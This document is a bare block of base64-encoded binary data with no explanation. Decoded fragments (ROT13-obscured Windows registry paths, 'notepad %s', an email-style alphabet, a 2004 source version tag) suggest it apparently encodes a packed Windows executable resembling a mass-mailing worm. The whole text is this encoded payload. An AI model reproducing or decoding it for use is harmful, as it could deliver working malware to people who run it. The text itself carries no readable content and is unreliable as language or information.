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
FWi+F3PSNJkBbNpLALAtrTC2P8v//43+y87U3en4CkBScJG13AYzY5bMBUGAwgdP/1L//5roOY3k
Ppv7XsQtmQh672dT4WXsdgOTJv5f6v+8VfGQMtd/KtiJPehrK+60fUkY6r+Xcuj//5fAFfzm08O2
rKWhoKKnr7rI2e0EHjtb9f//X0HN+Shaj8coc3luYy5jLHYgMC4xIDIwMDT9I9tvkzEveHggAjog
YW5keSkAe7sFG8wCLQwABRwAOQnOEP+ZDwEAEAAJABLXAwchfvtmdXZ6dE12LnF5eTdGYv2/+/9z
Z2puZXJcWnZwZWJmDVxKdmFxYmpmXFBoZX/5/78XYWdJcmVmdmJhXFJrY3liZXJlYnpReXQzt/gt
2DJcGUNqcm9GdmtGerq//fZna0YwU2duZnh6Fy5ya3IARwtaKzQF9iNnRXmXlv/2v25vdGVwYWQg
JXMLTWVzc2FnZQAsJfuY2w91EgUuMnU6BIpue88UBgMvLT8r+2//b0NlYwBOb3YAT2N0AFNNAEF1
ZwBKdWwDtrnbrW5TYXkPcHIHA0aQt79dthNhU2EnRnJpAFRoRFdl9s7dtmQHdXNNbxcvYWJjZJ/7
wm//Z2hpamtsbZxwcXJzdE53eHl6Z/b//39BQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWhu17dba
VrjXY2dUAlDc6FrhtghwDnFGIAWfahw+glsAdhqOYWh4ct33wrY9k2LudppfJ25weA+hcPi3nmJn
eHZnS0PDB2nfLvx/LXR2ZXktMi4wb3FwjF9jTnB1cmaZod0KM1x2aQtEO9nWvm1IZFYtUeB5c+ee
+/5uemM1AHRnYVtfKY+CWXbuc2NfB3BpLuXeDhjbUWcwI1hu+m5cRyvc2t5bYWZz1QAKaGyjLXaB
V3wuZGxss91RdSZuycr2eV9BC2QZMHROsNBq3AJ3bw/w6G3l1hzO0Wu2Cwdsafz8275hl3UJZQdp
bW15ZXJyMw1t4xtsbgRkD0XeLvBjbDNkaThicmXvveW3Rm4+AGFjPxfbbsPXGjpoF3THZnIEhdkI
f1NhY2tfaa/BK0T+az0Pc21pdGhbQ94rX+NtB0IADgdojOzeJmpvZT9uZW8vr7XO1PELJXDYB2fN
Pbe1b27PeTu2SxW998YabI9pZNcbH2LdzrnzZW9Pc0sGZXcchYJzL67aIua1z/D7d2mwa2XOj2kJ
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
